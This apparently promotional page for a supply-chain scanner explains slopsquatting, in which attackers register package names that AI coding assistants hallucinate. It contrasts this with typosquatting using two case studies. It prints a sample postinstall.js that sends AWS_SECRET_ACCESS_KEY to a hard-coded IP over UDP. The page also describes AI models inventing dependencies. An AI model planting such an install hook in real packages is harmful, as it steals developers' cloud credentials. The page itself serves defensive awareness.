Scan GitHub repos for slopsquatting: a supply chain attack that turns AI hallucinations into malware delivery.

Test specimens:
Supply Chain Security

The dependency the model invented.

AI coding assistants hallucinate package names that were never published. Because the names are fabricated, not misspelled, traditional SCA scanners built on typosquatting patterns won't flag them. Attackers register these names on npm or PyPI before developers notice.

Step 3 of 4
Step 03•ATTACKER PACKAGE

Attacker Snipes the Empty Specifier

Threat actors scrape LLM hallucination traces and register the unclaimed namespace on npm or PyPI within 48–72 hours. When CI/CD or a teammate runs `npm install`, the malicious tarball executes its payload.

MALICIOUS REGISTRY ARTIFACT
FORENSIC ARTIFACT
// postinstall.js in published tarball
const s = require("dgram").createSocket("udp4");
s.send(Buffer.from(process.env.AWS_SECRET_ACCESS_KEY), 8443, "185.220.101.44");
Published 3 days post-hallucination. 0 commit history, disposable author domain.EVIDENCE-LOGGED
Detected by aibattle.ai
npm registry · PyPI index
Public Repositories Audited
0
Continuous scan of open GitHub dependency manifests.
Malicious Packages IdentifiedSEV-1
0
Packages confirmed taken down or placed under security hold by the registry.
Caution Flags RaisedSEV-2
0
Unclaimed hallucination targets and dormant typosquatted namespaces.

Slopsquatting vs Typosquatting

Anatomy of a SlopsquatCASE STUDY: SLOP-2026-5069 // unused-imports

Real and hallucinated packages look identical in source code. The registry tells a different story.

1. What Appears In Codepackage.json
"devDependencies": {
"eslint": "^8.45.0",
"unused-imports": "^1.0.0", // AI-hallucinated, confused with eslint-plugin-unused-imports
"prettier": "^3.0.0"
}

The name sounds like a real ESLint plugin for removing unused imports. AI models hallucinate this shortened name instead of the legitimate eslint-plugin-unused-imports package. An attacker registered the name and npm security-held it after the attack was identified.

2. What Registry Evidence ShowsSLOPSQUAT
Registry Status:Security Hold (npm seized)
Weekly Downloads:235
Source Repository:npm/security-holder
Original Payload:Malicious (removed)
Verdict: Known slopsquat. The name is entirely fabricated, not a misspelling of any real package. SCA scanners using Levenshtein distance won't catch it.

The original malicious payload has been neutralized by npm, but the package was installed over 7,500 times before the takeover. Projects still referencing it are running a security-placeholder stub instead of the ESLint plugin they expected.

Anatomy of a TyposquatCASE STUDY: SLOP-2026-8807 // mongose

A single missing character turns a trusted dependency into a malicious one.

1. What Appears In Codepackage.json
"dependencies": {
"express": "^4.18.0",
"mongose": "^7.6.0", // missing an 'o', should be mongoose
"dotenv": "^16.3.0"
}

A developer or AI agent typed mongose instead of mongoose, the popular MongoDB ODM. An attacker had already registered the misspelling on npm.

2. What Registry Evidence ShowsTYPOSQUAT
Registry Status:Security Hold (npm seized)
Weekly Downloads:42
Levenshtein Distance:1 (from mongoose)
Original Payload:Malicious (removed)
Verdict: Known typosquat. The name is 1 character away from the legitimate mongoose package (66M weekly downloads). Traditional SCA scanners can detect this pattern, but many projects still don't run those checks.

Unlike slopsquats, typosquats are misspellings of real packages. The attack is older and well-documented, but still effective because not every team has SCA tooling in their CI pipeline.